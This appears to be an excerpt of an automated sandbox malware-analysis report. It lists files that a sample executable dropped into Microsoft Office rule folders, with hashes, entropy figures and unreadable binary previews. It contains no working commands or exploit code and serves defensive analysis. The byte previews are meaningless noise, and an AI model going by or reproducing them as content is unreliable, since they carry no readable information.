Preview:	<?xml._............s.9h..q..k..M.@{../.j.......xL\O).X..+7SK).\|P.SC..f.;...bv1.S=..HO5L..$'4.L.._[V.uF......Ak....X.i.....!./.8.7..H.h....8.(..F&.h.5.......E.Mf....!g:.D..q8...b.....:...oZ...XGVK@.+lU.!.>.!z,.@.kK...ha..b.mi..U.{c.{.... \|..Cu.}...O.........{$q4;#.8A.._....?.r.......Z?..#....A......(.#...c/....?.@..'....]A......{Du.m}#...j.Ndt3f...\.._..p.... ....d..E......2.o...!.....&....O.m.....w........{..$.A.....]...3h....U..k.:....~,.$....l.?..d.._..P.{\].$..]8..X.....k..8.....'..W=e......z2...D...K......S..c..k JP..4....e.a......R.b.....Z.yg.t.g..,..z1>.v.....,.qoBG.F/".e;..6.1bF.t....Hp..Z.......c0.V.....R....8.BU2...Q...........&f\.6.;...;..W..7...&O...'=r...x..e1..Y.s[..Hm.b..fJ..u1...j.;.V....9.........../.W..++.....=PL..Z.)....:...H.-x.....F^...V..3.....w....*..R-=.../Y....U..l.A.....h..0!.tyq.........VD..b.u.i...kh.#.f.6..F..A......s......z.w....yI....t."jEw.hYx/9aw.9V....1.,.Q7.=.E.z..F.....l.2..".,L4..)c...._..?!o..?...F.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.891804385192378
Encrypted:	false
SSDEEP:	48:amux9EyaO6GniQUV2Mxd5wCdEbhxZtY73oOFD:Xux8xGTm2G5dEdLtYjoO9
MD5:	D06B57E1C3A6BAC2541B922164431A4E
SHA1:	7120DCDCBE2455FEFCA9BD1FCBCCAC2A7BFDD804
SHA-256:	0BDF00A49D4718FA164121E8C04DFFC2EF07F84DBB5489DE2E1562102CCB678E
SHA-512:	702A92D9F14C579DF4F6BC59CE3A1C84F520BFE94A56C63911BEB186A6443A81A8DDED666463103D7C8CB335D6897C9AC9CFD3DDB206FFC79EF0EAD45AC8C970
Malicious:	false
Preview:	<?xml> ...=..J..S...X.E=..ka....G.......)..I..v.!d..P...t..0.>B.h.a..hg`N..[>..].AK.....r.I.{..]A...!..M...h.........s.+J.z...-......xB. t......x..1m2Z.\|..-....W..;....s..ww.1....Z.sY...`.t.n.l.Z.<..#......n..J.R/..'U\|..-..T..&w..?.,.LOMt......nDe.L..<\ ..<...s...,y......&.r.o...pgv(.vN..F.Rzy!.q.Zh..9.al...".....r..6.X...]e..._.>...g$..x.bU.T....OL.L.hE/..%^...2I.....Q...L.&...\.r...]Z..AU5j...'.\..Hv........KHa.>]1+............(...P...........P..$(P.HU....?kA._..j...v.R.I,y/.....Z/.i>;..\W.2g.BC.=m&'V...z..K...._..t.g."..4.0b._...j...c#...W..... ..........~.@v...\|d....os......g.KT......<o.h.,......u...)..G..cS...y..".T0...A...../$.nGg._.G.'k?...}b\|.r3..vi..n...6.....0.NIG...!....#...q_a...&...Y.t..z.J.{.c..2........8.w....z.U......n(I...C...4..;.Sc!......7...)#a.=.k\|.....f..........B8.....n..@.9..c..r.L..m.}.fy.Q.q..s.=.(.q..z.L..4.2Y......f...9.(....,...}.V~...cd.dc.".dg.u&K_..m.LI.v...-=...&..W......c.11${:.7.S.f.....v#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.886722266923339
Encrypted:	false
SSDEEP:	48:LhQOHhd+DrSAld6ljgoF0wMZjSrD0bxSjJmYumRoiWZFD:L2OHhd+DW1jx+12f0kjwidWZ9
MD5:	138E86882A59DCD65F077F283CF82E1D
SHA1:	3BB5F7C08505F50C0BEF86ADA0D1949729BE724A
SHA-256:	23B771B0AE1CDFB35D48B9A7E69D3CA90629A979CFA5C76990D43FC3BC4B74CC
SHA-512:	2DFFBE90BFDDEE0B0462B51CE39E66E6AAB9518F3D82E89132377D25E5AFE3F9C46B33D67773EA6179CE524AA2533DB01EA431CC50DECD2EEA04752BEEF260F2
Malicious:	false
Preview:	<?xml.Ss......)L.3..),..)....3.....l.]..]a.HF..rn.6]..n..=...w.i..Q\|#S.!.DvU\..AH..QQ..4UJ.....=..frk...u....@6.qZ,...:.Js@..G.y...c ...oD.&.V....u...=.....o.1?.z.F..8......J.<.}Z....0.0..-.].z}.h.%..x.../.^....H..,.R...p.I...s>.X..Q..g..y..2...X5....h4ID@...7....~....T5S+z~..<..hg.C...K.k`.......kgui.!TbF..D.... ._..=.........I4I...+}....\.W....8......L5o3.4....9x.1L...$...3..8.N..t-n4dV...+\.X.t..3W......D#c.@..p..YF&..Z.......Z............!.uf..:..>.e.L..`,o.T.r._.bJ..R..........].TP3....n_91....]{.whBj8J..)>...Q...;....%..R..X.....r.....$..S..8Y..!.p.=N..c0NC..c.R8.1.2"......`.....s..F...E.E...O.......E.W>.....K.D.N..R=....j.T.V...........W....5.J..uNz....,j..=....D..w.o...O...............%V...+...KD.n).....l-A[..\=*...N..K....8.L...m....,M....@...+...d..qnG~..t qpr.vC...i.2.(@7OU..TR{..7-hRZ........~..:...]\|..Y.....u.....k<..N..H9....\..".Y=g.....$x..(..)...k.&[Jg.....y.c6.K.b.'SV...0....4.+W..0.z\|..9.p.z.....=k..\|....<..Y.Y.P q.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.868570092086837
Encrypted:	false
SSDEEP:	24:CLa0DilSsFKAL0nZVNvFsRqj3/defedlpEl8v86qRgBPfqrDakueriVbD:AliMCIN9sa1eGdlpw8U6Z43mHFD
MD5:	977426650F2C13B8D537F1C7085C6E04
SHA1:	E15BAD843780C0E00D7672C6D23846B4057A341B
SHA-256:	F503C99252A29C6F5B32EC213D9082C05E1B096C1BC51D6D30644EBB55ED8D07
SHA-512:	2295E47B2452EB34C16B295AB776CCBB7222C44B6E70FAB7DD6116110B37CB97A696C48EDAE7C6DE7B99B789F0D1D45BC0EDD8446F18FF5BD2B399F79DDCB512
Malicious:	false
Preview:	<?xml.......(\|.......y'I"..&U..6.n#....d...H>.Q[..}~.qW....g.y.r...W.\|/UA..&.-...enA...E..q....;}. :.k.2qy.y.D^V...m.J.r\.7b...A.1.].V. .=....\ho.W=\|.....,.8........4'...>.&./p.[..5..u3.....%F...Fc..#...5cH.3..u..._.'/J..c..0..#oI.0....n.x.....nNkL\........B.q..F..ewfA.P6.>..l...g.b.5.Y.9n{..I....<....\|^iR.J...&..a?e....5.M._.#...1.K.5..C\...Wt..j..pe.4.(.eBo.d.Qn..Z).J.V...x\|./j.{n..p.d$..a2`\|....S,...i..p....uY.Ho...........G..M....BA......l.../...g.dU...b.I..4....@l3=.aR....`.7.'.y."....Xb.b..z-..ot..F..Uw...\..O.....[m..i....r)..".X.$!^s....S.2k....P....Q..o..y......&..5u.\.nXv.PK=..s...E.....'..S..^[`.A......8u....7>oZ-.I....$V....S..[1.../..S^/...l.RO..:.k`...(..t...0.g........Pd.).p.s.4.......I.N.K.x..j_..-.~X..E.sD.M.......\|z...w..={.A.E...M.B..........E....1...h....U..(N...V..9..~@3..:..t..,....5...r...J..U.Ml.`......&.".R.....>R.%....r....fM.*Rxm.Dji-...\|........... ........7..f.....J.m=.`w.!?.......&..Y.....-......?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.846844413842824
Encrypted:	false
SSDEEP:	24:rUaacrwy1n1ZUNftjtlvXhC/F9wKeTnhvFXRxb+4WLxWBVZfTZbe7XCliVbD:DRcqnTUZ95tKghnV+ZLYBzTZbe7C4FD
MD5:	CD387A270D583680BA0C51A2C8C7B512
SHA1:	2DE3C5D92E693126AEAE0CF0692A292E33C774CE
SHA-256:	85FFC3FEAECB047AD1920EA893FC6EE073C0304FA89A7497420DAA8EC8079933
SHA-512:	4805A8D7A7F6E9390A725A12BF2FF19C419D76FE4B11F5D593D57134B69ED874D177031D0C819EFEB6183F3E1A11ACD2B7050D4A96C688EF31B96B2B1F03B70A
Malicious:	false
Preview:	<?xml.$....(.g.k..{w...7....."..:..sL\|...>S3.45...@o.a.....~..!)<.4.e.......@'U..U.x.....:..`.v.....n......:.J.\|..m..W.3!.....1.<...x;F.L.&DBz>.....vL.....P...IS..'....vv....w+..[vP......x..(o3.$.r}Q..3......(..Mf...Z<..x..jFA...g f.r7..[.I.^1..g..........c.....%.d..yf\|.!5...c"e:..[..c..FB..^..s.).g4.....;as..I..0S.R..D.-....8...s..'....b.<.x.2\|..G.iX.......A...d...uX.m.D.N.CLe.1n....DD...pXX.7H.w...4C]..A....F=.l..Fx.q...l.a.q..m.M.l.v...V.....\|..~n..."{e..<.p...K&\|.....B..Z..Yc..m...53..)8..=.t....(,{T..P..8+...UF.'t..P....g..5#q...LiA...sM.g.....A.j.....M....'....;.<...../....i...}.....6ydP/.9.;hW.......0O!...........m......0.Rs../.RG.&0Y...a.a......6....NA..H...L.O...&N.O.\.v^.2....5.s4....n.vs..s_.A3Sf.5qq...!....x..]%.f..YeV.......E...$y.iO..NA..<.%J{.iM.u...x?P..}w..\|..]".+tJZ.y:}....n+o...J..........K.]."+G...O....+..cv@C..M..%.......[..86.>$n..V....D$k-.....}.A.....z.g.p..........[..^.j'..@J0d..2......z...0..jM.!.........[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.512841642072747
Encrypted:	false
SSDEEP:	3072:pDMOonC0QVtLTEYOMGQ5Txi7gGbm9fSHNuSkTxpSMIgxChMKF05UhJMI:tMODVtPEHOTYgGSxFlTSxgxlKFcuJMI
MD5:	C7233C6EFE0E9045C43D11B7045CE6F4
SHA1:	308D4D5743CB211319F168606AEEF61B2ED0A0CA
SHA-256:	84F5039EDFC1735DDA09DEF644E71026B45129AB26C1AE5720072871F96BA0A0
SHA-512:	0A2B4485C6DE4B0518970DAFA98E6A4C2028D9110E492D694828610FF7C50CC1BBCA91CED5ABF3FD1A9E00D908D2152CD626828B481CFA1C7F59ACA09009EAFB
Malicious:	false
Preview:	<Rule.FJ...Y..a.Gk6O@?e}.Xh.I.p_.z.s...6.:Cu...m..R..7...uX.....R.....0......m..E\..@...m.f...dl...9.]`...a...#..-.dw..../...f..y.x...d.h6.:?.\.R.Yds..qh.77.M.h.uS......_.L......K.k.'j.E.J.\..iO0$J..Kb..7.....-^.@..WHN8.k6..]v...w......e.'D.K.:.(..X...KJ.....iX.ts.O..%<..J/..........F f.aa....A.na..v3m."...J..l.{dQ6a.....+cn.8..y. ..+Z.\|..d...Q?xt................!...2....s.t.)..m....x.A.F.3w..H..g..+.\#CUD....?..b.u.......i.[......./..(.........q.Np....&....&.3..4.....a....m.3..41......:.f.d.J...f".QG......N.@..&..v"........$K#...n...z;..y..Y.c.....)..\....".....[./u..b`...P?`.f.....J...$....F.....E...P....s.I.?C...Gk.#c(".`1'....T.....8.../.[V`}.{.3.$......._.V.Y_....'..e..:.Mz.... jj+..6a....L.N.t.0...<C.........L.<.=.l.......2.S.<Tn..AFQ..f.P..=0.X..\g......<$..!.l >5...._.HMZ{b..<.;..h....E.c&.1..`.(.......$Wj...j...+.-.._..fD\|...I....(j.^.o?...s.......$..$...X...V."6g.DO.....P...........Y.@.\|....K.......h.....U9.E....2.w.M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.8572361534653865
Encrypted:	false
SSDEEP:	24:TB3UiltwdbX/2vk+guzV2nwCv9ejeG3TM8681gDQsjGl2/VbD:l3Uiltw19upm99e6G3TM8oQj2FD
MD5:	48C0BBE89462CA1E6E1E2CF776D8774D
SHA1:	A86F62672F6A318C4E9A57167B1C37976025CED1
SHA-256:	A548848DB1260A76B9C78F66513820FE1CAE7E111D429860ADC54261360F7F67
SHA-512:	06750D755D10307597A6F2E51E6843750911F6BC5469B1D4DE9D2E6E25D4D95FCDD828EC9750207D0D846931194C898800E67C94D8D85D947C033411E0AF0AD3
Malicious:	false
Preview:	<?xml.w.z..Hn..w...Kw....@....EA`.8.....,.4$~p. ....nr.=.......w.../..G)..I.#'j4x.SiW.... X.t.E....!...e_.w.yv3][-.o...-....Bne...3.q..T.J:.i#...~'.;..6M..(....".n.6.l.J..e........3.z.W;.B..v..>..ubu...Q.cx..oX.......D..M......s".\|......-Q........c.....i..n....).#p..i&..l..a.o...@...(.>.u..;>..8...+m..?....l.:.......$..a.....'l.1.....\|...k.....L..$0wm-O."j.W..?...X.y..6.......gz.a........#SD.....N]f...S.W.&\....[0........k..]E..2.Jt....}...r.:...~..Z...%....Ce..6..t.h.c.....w..o..4.P.h...j4.....U[..&.e..D.y...DX.F........XM..b.x......d.s..F.7..^ZIp(....sJ.}s.X....K.zl.4.0}s.S.2.D.0....m.X...E5.!...f...O.T)..........f.....n.]...q.Xv.....ZL.Rk.q.Q.V>..+..?..\..W...W.........Ja.....0....v.....~..3$.}B......<G`.D....=r...-..8......(Q_l.\...q.....*Q!..j........Im.@T.......P.TE1......._.k+....lh....s.s`.....j..J:k..%.#...:<.}r........R.{.'.v.....#nN..25..,n...]..%C..K..b:jd..T..`...e....e....1{#..c.+I.\.+7.A9.y...J...Ds..<."...Y...K..H.F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.930726677759848
Encrypted:	false
SSDEEP:	48:VPQILrX5MzDvVu669+6/LWYbhna33EklLCYq4T9c8di3AU/Vj1/4FD:aGizM6S+6/PbhanNCD49RdQH9j1A9
MD5:	E0C6156691BFF10D3EE3784247BA4139
SHA1:	5C8F52A823C966A524F766BECF3237C6655A1F04
SHA-256:	68397EF99A99880C0C47456A2FA9CEFAD884DA1AD0D9E94CE9E96FFDAFF79FC3
SHA-512:	3EE03B9C53E323C65FEAD69478364DD502D46FCA201C1E76FBD35A43E1068D0AF58C512E816293A88F42726F795C63238B6EB07AD5EC4B0B3F579934A5DE5C59
Malicious:	false
Preview:	<?xmlw.x..8.y}o....N2wd..;$.~..h....DQJyI. ...N....5........,.D._......W.o.O."n..:....a4'...5.....0]..1:......E..y`\|v.T.$..7..6e.W.........m...0.hp..~I...}DB.8..(....DH..S..0.yQ.jU...j.l.^......d......P.ux....y.~...a.T.+.n:.Jo.H....&..l2.U.Vc...a.9K.b.u9..W..\.\C{.......)u.,.p$\|C......,...`.(.D<...[h.`...DJe...57....h.>!....I..0S.{'..d.j.5.....~.@...K.......5.?........[B.....q-.[......,Am.?...s....\...}=.n...y.r.....v.v...5.)h\..."LQ....,....^..c.I..[I...j..k..U.;34....Y.. 8s.</.........I.R.z..Y.4..D'.>.1.2....h.U#....)..Cg..z.s@.;n.. .m.....$&f.>..H.S(q3...L{.....v.D..m........d87.....I./...`...2......S@V..L^)_A.S.'P.......r..r.......U. NG]D.m\.R.6.#.6......r..;..h...+j.X.r+..BN...0.h..`......./4..X..k.\| :.F..\;.L.$.z;'x..,],.vgJ2. ..\..>.I_.../..n.(%.t.u[.N...H.F,..kZj-t'.a;.{X....;Dn.V.....47..8..).s.y.}..?...<<M.6)..j...O.( .G.......[b....xgb..a-.V...m.f+O.T./.z...8..bo..>.l...Y..F_.>...L)eB....71P].....wz.;..1.^^sOi.[.c...,..7_..W.s.x.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.866320182542605
Encrypted:	false
SSDEEP:	48:g9LS8NxAsBdZqMWntqKPtBMmeI5FfX6FD:g9G8NmcHWUKomeIv69
MD5:	9CEBC8EDD48BB4B8C67568F89ABCD6AA
SHA1:	758C3F9FA07071C96565A2E119F1C8ED27E183F5
SHA-256:	9A322B467471DEB7E093EE48EABC779B77AEB994793E134B1FDB77737B8648E1
SHA-512:	2374B27B0624ACB95292B52ED276F666A846B4B406C666FD1C9A2F017250F61E9E43CFB2F926F2584E40D3132C66055A11A7A4493EE63A4BF8B388BDB5E5A679
Malicious:	false
Preview:	<?xml..hV..Ey.....O%d...,k....us...4Fe]7.y..^..p........m......pu..e.v._.\..\|.W..D......;?..\|..M...w.6..0.......xI8N...ej...N.C..A..,..........Ic...+....T.Za%O.7....Rb8aV....9.F.........S....?D.f...$.).......>[.O.v.....x>Z..+.=.A$[ywx.2......hF....n....U._.4htC9G$..._.8.B..]..l...........i.f...}gN.2U...n.b........V"=.....C..O.`.q.'f.A....V.E..T..W.5.^s..@...x.n(.S.7.d...f...p._..S.f..k.........atJ..?..3...,b.`9.'L.o0.6p(..=....1.z!.8..oTgZz..2.v..4UB...)l..f..7.Yu.....4g.6..........t......%......H.,V\|..CQh......c..v..'..S].B...w.u..........f..f.z.9.a. .>.2b%.`~..;SB.um7...Z..j>.+..R..9.-.s ..fDWkC...N...r.......kb.n..$7.......h\3(.....-(...\o".a....@....5u...F..O.6.X}......}.r...........'....o.!.....`6....DY.;H.. fw6...T.G...P[....V.1..........I..\1~q..(....H.E.@#...`j..AP.d..-..=...E..l.....J:....%R.q1A.?XlV...b.....%..\|.L..@.@8.3.@.S.O.B`%o.%..?...G.....%..h...J......G\|?>.0.6Z.l.b..Y........6d.-..\|gg>HM...~:..O9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.910762474530173
Encrypted:	false
SSDEEP:	48:p2d7rRB9YrHWxabTkVPGtOxF/LGJNMzICByPHtiFD:g7rOrHCdPGWF/1HGi9
MD5:	F97558AA0C4F79BC2197CD8D77B6FD23
SHA1:	DFA4D601B9FD8803986690FD5C06396BCD2D57D2
SHA-256:	D927D6613DB27A055B99F5D6F3FE2F28F67D3BC6544040C74971173168DAD587
SHA-512:	AC60E690AA4BED7183A107C7AA252264E5F1A40F5D891F956CB150DA1761A373C6CA77C6AD432862D6625782BE0B402432B45ACABA492DBBC1AFDC5FA652641A
Malicious:	false
Preview:	<?xml...G.^..(.'.\|aC.JM+.a..x.-J......F..yh...F...).O^....k.-x"..Z.s........!9....%^..`...b..p...^.....&....nW.._.."47...5(BMb...@..WL..#.:..l....d.o.t)j....s...]..t.#U=..../....Vk...8..bOw<@..Y..c...Nx.R.Y..T...................7H.,Id..>.W........w.<.7.n................p.y...<....c8.2BS.`v..<..F.c-...x..........P.&ZK+>L.K,.3..t7.(].\....N.<.........g...y}...h.....L..z+..s........X..Tz.`...A.B.......z.9..F.l` {.{...m.eU.=+(D.v.. ..v..H.l#....H.=p...........l..A..b....hF...I..%......'_..\.<n..7...I.......+...e..ok6c~F0..k;..>....U..4...).n.S.b...\..6..B./..z^A.7.P\c.......S\..P....{$l....(..QK^......Q....!.?.V.~g........`....7.N..w.!.qjw.-3..Wr..\...b..yh9...e..D."..wp..'...5$.t.....a...8...4.......wI...}s.N..../...A..+&bz....?n~I..!.......6"...0.w..@('wiH@.9._^....+....x.OI.....!.o_4.z.g........a..n...3?...-........=L..8.9.V.J......G..I:R.G"Rw..[....>..C5....o.....l.<.g...r}.(....+....0.I.\|.~.\|........=T.h....IX.sp.j/.P.x.vv...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.72297760696478
Encrypted:	false
SSDEEP:	24:jCoO/ZRYAxUmYFW6wDi4LJu48vDkMbVbD:GoYZRYyYF9DGJlgFD
MD5:	213C87A55DD8A9662F98E8E3D96CAA14
SHA1:	17C26401EB36801B48EFDD5B83E5A2E394D18CD5
SHA-256:	9953EA2176822C2ADD318F3C22642656F6A6565298BEAA25E9EFFCD8114FB7B7
SHA-512:	068F5CA845B884342549AF893BDA40D7798A7A87217A5AD96BDED997E964EAE2D510185B692DA669B08375DBA7467DF126CDC178D2B3274E7D630349C336F0D7
Malicious:	false
Preview:	<?xmlJ...P......-..+SOj...._..l...............%...,.0R_#0.....N..\|..r{.+...f)...[5F.o\|..9v.^....k....[a.p......~...&....9..W6["H.Dz.'__.r....%.X..O......D./..t%$f/h.I..p.^....vz..V;r.%..~..\. ..,B'.......3..8j.zzkz....j..Y.....O......fY3.E......3E]..$eg....`...y4...O.<7.U6....@.W.m...)...k...eM...A....0....0.O.v..##.F.i..K~.m.s...+.f.=.u.........61..........O...m[...h.C..I.:.~:..._....n...lw...i.0t.v...qy....v..K..0./.N...v..+,........Fj.so.A.kO@.jN....]..,.}f.\|3....1u...j.....b.....&+.....<..... Oy.@Nv3.V .,F......$..4....&.Al..p.M:.?t..Ej..{!.#.x..s.\|.....Q...>...'66.B..].q&x`."0..`.b.k.?G. ..Z.S=y..L...-......P.'SM=.?..Q.m9.'M.E..N...XP.H..!...Ry.At{M..DQ..u(.\........v,...}...h$."p\|. .....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.905457442676759
Encrypted:	false
SSDEEP:	48:DG++0OwGgdU9aHETho6ni1YFNT+aH6sdoVPNZbeV+hf+khAFFFD:mNwGgK9akic4MNTjHaVZlJAj9
MD5:	53EE77EAE6E57496B713516313FD0299
SHA1:	BFA576D1AFA2A58785C3D131CC53041C1BA715AC
SHA-256:	D0B9E28DA34CF041F5E53CD00366080F7404E28BAF09C4BC82D0716042BD18DD
SHA-512:	EB6C36B02EA242AA019942A20A4730768BBB52DECF1B355D309C269A029042D779A246BAEF89C7FE13E06CEC5CFB2DFB0AC7BD82EBE7DE5E59F2B9C72BE6FF6F
Malicious:	false
Preview:	<?xmlOM....".<..`.Zc..D./.a.Kpw.&..X\|....\J\...i.zU..!...X...T..s!M..g..n...v.G..7d.........3..N7)a;.3U...}...[..iW.th............Td.d4.....N.`b......~.z.J..`..g...J.$....(.o..5...#..wCB/."..}..0.`\|?........Jc.>/.Q..mL"i`]..L....z."...F..P.....4.yK.j3.I.L.~..........?L...A.#..xe5..w...&?..=..).m.z..iw}U......2..5m..3.._.T .Xbk..c......#.....P....TE.l.b....Z.k..u....}..L..<...8...+.......6A6.....1X.......z.l.l..a.t.ko.....d.gU..KRQ.u..h&...I...y.....L...u..dR.R.r.f.......`.8.y.\.T.VVc).X\..RI.f#....W.a.n.9..!..$........lCF..~..k.".#n..J+.d...\|...y..E+,.&A^0jV....n(..yr.......H.Z..ie..^...@..I....4$I.m.O.LCnLoX"<....m.-=..... .b.5.......=.E.M..q@# .q.].......l7...8.-.S.#.a....k".K+^?..]._..=.{W..?.-.t.T.KC...R=y..c....3..(.Rx.....-..k"......Z....14)0.B.6..t.....Bw4...C.....0.j.T..."g........H.m.6.s..V&...[..D../..__.e.2.........yh..n!.....%3m..l.n.....w\|k.qD..@VhclV....g&.....w....;kn...T.sK!U.j.`JQ%....k".M...L^.}.m..g.&.&..s...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.740901039433035
Encrypted:	false
SSDEEP:	24:yo4e/pjTbsU5BBe/DKkR+AKMtGSNGMsMiwZVbD:t4W/N5BBaRdFGSUMbBFD
MD5:	0E891D2B8A96AEBDB1F58DC6E339B986
SHA1:	9AD5F60CF7A37C600208507E69E0F37F6686D69C
SHA-256:	37CED168D9BE1AF6830F6840113DD6259D60757E30139C5AB02521BECFAFB466
SHA-512:	7250CB7F71FE97892D5625211F0EE85894FCFBDC5076B6B90D3D5E86F30CFA1F73B208F02D93A59B3D0EAD6907E575362B7570BB43832244164810F57D909B78
Malicious:	false
Preview:	<?xml.0H.O\|.m...".BJ.....o..Z..W...P....7.wS3..b..\...}....q.g..c{+.3..A..$..=c..Qg...@.3U.Ds.R.C&.?.....u'..b}83C....IB...FgJ...>.i........'S.Y..C.A.........T...n.;.....>G&....Y....\|.n.>@tGv!n....uY./.R..&i.. Z.}.n".o&<hB5.....`..W.......Wfqs..8aL..$....x-...O., L@.`..,<....2....A...84.Ws1.?h)......b.kQ...E.e...0+..P.dGJ..S.....x..b...N...)..f;...%......fm...x.T.(..I...^......U..H.s...5.B..a..."6"....&...a.pd.....N....U........Oj.\|..H".....nh..GX.[&.0.C8.....T..-...,..h.U...............1=......-j{k...U\|M)..O.?...q...T.`.<q..j...Uq.l.....7..P.!&.,.j>.T.B........G.".m-.../..Z@.e.\|7....z......X..Jej..3....#...%.~Vy.z`1..g.wT....7...> .57..,....o.&,..l...........(.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.931180871823151
Encrypted:	false
SSDEEP:	48:8rWWZSlU5zEUIL5jYe8snRwenequsfdK/moFeLaAFdmLTvu1BFD:8r9tltINjb8snyCuAeByacMLTvu1B9
MD5:	827810772D3D3749B4086EA1A6598707
SHA1:	CC8AA30C34B0B377040A40943E92F33644E492D5
SHA-256:	AA6E9215905C09A97A48A7601C3CD32B0E32DBD2DFB036827BDF332F4B39B0C4
SHA-512:	9B42ADC6753DA0727F883E8ECFB5409548C8FEBDB8E5E427FF7C9EC0B6274CBEF3C5925FE728CFFBF323130610F0B04186D33D7F2202960AA760F9277429BA1B
Malicious:	false
Preview:	<?xml.ZW...}&\|&f.z...z!P..B.W..u.q.....e..2..>./.hR.;?.,...v."....X[u..(4<....5..E......l.e..\|...4...h]vxx..g...6..Q..R\|...-.r...p1pY,.;..^x..{.-.4m..lF.+zP.G...(9Q..;.4.....G^..,..)..;..R..;..y].'W]...HoO.H.H.n......R.@(:..@.u.W...sz....X..+....v..a..>h.5.lF..gX..U9...-V1.....E/..o;p...Q....;...FI.i..5....q5.".#.....I....A...s\|..F.7.&=U...T..L.\|M......"v.`...8...i>.o.....\..5..<.\.....&.D9\|.?..i\|W....m........../Z~0..u..Y.L\....w\.B2...aNaN........7.?.f.99Ta.....v.._....m..G...8..@P............WF..w..xz....c.,......[..E9]N8.:.JDKH.v..Z...hzR....V9c+.. va.....u.wku.n.@Q.yvb................j.....H.a.uH.Y.<&.....)1.\...m.T...0[,.........+..hC].g..H.dU:.....:....$....52..+1.x.L......5..b]d./....S6.h...0X.w..<..<..!n,H...F.c=@f...D..f...X..<..Z;.<....t..0...I..}.a.&"L..1.{...k5;0......p.`.?.[2`..a...4.....E\|...y}Nc.`x.a....2..L..h.N...H......7'...Cl+L+...,.CC..o..3w%..ur.2~..Aq..5AmX......I.D...A..S......ou...17.p.Bm.......z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941602844604832
Encrypted:	false
SSDEEP:	48:xs1SXYsLzplFhJTXOvBLgeQOrTFzl8ibUGqzaCTX71TkofQkHWzjUAr5aUO6W+36:WstvhJ8bQOPFuiQ/X7F1oQUz3T2rHR9
MD5:	29888716D1944693F39D50DC584838C6
SHA1:	6336E0805C274F1D4BA3C6F7FA2DB2ABA7DA5D19
SHA-256:	70AA561DF3450F8F35F4AAD646A820BBC1771FC8F3B2AB2ECAC64AEDF9C45A7E
SHA-512:	BDB51D317C6C6B4E6B0435E2A1C0B8FFEE0738CB5494A06014C60E54BC83400630C256E2CC8595D45E66767B202D38C170A9B709F0D17587CA92FB95A3229D76
Malicious:	false
